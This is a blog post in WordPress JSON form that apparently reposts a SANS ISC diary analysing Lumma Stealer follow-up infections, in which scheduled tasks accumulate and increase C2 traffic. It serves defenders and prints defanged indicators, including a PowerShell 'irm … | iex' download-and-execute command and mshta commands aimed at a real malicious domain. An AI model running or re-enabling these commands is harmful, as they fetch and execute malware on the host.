{"id":9880,"date":"2026-01-15T04:04:39","date_gmt":"2026-01-15T04:04:39","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/01\/15\/32628\/"},"modified":"2026-01-15T04:04:39","modified_gmt":"2026-01-15T04:04:39","slug":"32628","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/01\/15\/32628\/","title":{"rendered":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)"},"content":{"rendered":"

Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

Introduction<\/strong><\/em><\/p>\n

In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026.<\/p>\n

Details<\/strong><\/em><\/p>\n

After Lumma Stealer performs its data exfiltration, the infected Windows host retrieves information from a Pastebin link, which the infected host uses for a follow-up infection. So far, this follow-up infection has used .cc<\/code><\/span> domains for its C2 traffic. Here is one such example<\/a> from the beginning of January 2026.<\/p>\n

The image below shows an example of a Lumma Stealer infection from today.<\/p>\n

\"\"<\/a>
\nShown above: Traffic from a Lumma Stealer infection today filtered in Wireshark.<\/em><\/p>\n

The follow-up infection from Lumma Stealer activity begins with a Pastebin URL, which is hxxps[:]\/\/pastebin[.]com\/raw\/xRmmdinT<\/span><\/code> seen as recently today, as January 14, 2026.<\/p>\n

\"\"<\/a>
\nShown above: Pastebin URL used for the follow-up infection shown in a web browser.<\/em><\/p>\n

The Pastebin URL returns the following PowerShell command:<\/p>\n

irm hxxps[:]\/\/fileless-market[.]cc\/Notes.pdf | iex<\/code><\/span><\/p>\n

This leads to several follow-up HTTPS requests for hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span> as time progresses. These HTTPS requests are caused by commands for mshta hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span> that in turn generate a scheduled task to perform the same command.<\/p>\n

This activity appears to build on itself. Almost 11 hours after an initial infection, the infected Windows host in my lab had 31 scheduled tasks with different names, but they all had the same trigger and action: running the mshta<\/code><\/span> command for hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span>.<\/p>\n

\"\"<\/a>
\nShown above: Task scheduler for the infected Windows host showing multiple tasks generated by this infection after several hours.<\/em><\/p>\n

This generated more C2 traffic to fileless-market[.]cc<\/code><\/span> as the hours passed. On January 14, 2026 at 16:02 UTC, I saw 33 TCP streams for HTTPS sessions to this C2 server.<\/p>\n

\"\"<\/a>
\nShown above: 33 TCP streams for HTTPS sessions to fileless-market[.]cc<\/span> from this infection.<\/em><\/p>\n

Final Words<\/strong><\/em><\/p>\n

This C2 activity seems a bit unusual. I’ve never seen it before. I chatted about this with some of the other handlers, and they did not remember seeing this type of increase in scheduled tasks and post-infection traffic. If anyone else has noticed activity like this, please leave a comment!<\/p>\n

Bradley Duncan
\nbrad [at] malware-traffic-analysis.net<\/p>\n

(c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n

\t

\n
<\/BR><\/p>\n

\t

\n
<\/BR>
\nGo to isc.sans.edu<\/a>
\n \t

\n
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"

Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) Introduction In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-9880","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9880"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=9880"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9880\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=9880"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=9880"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=9880"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}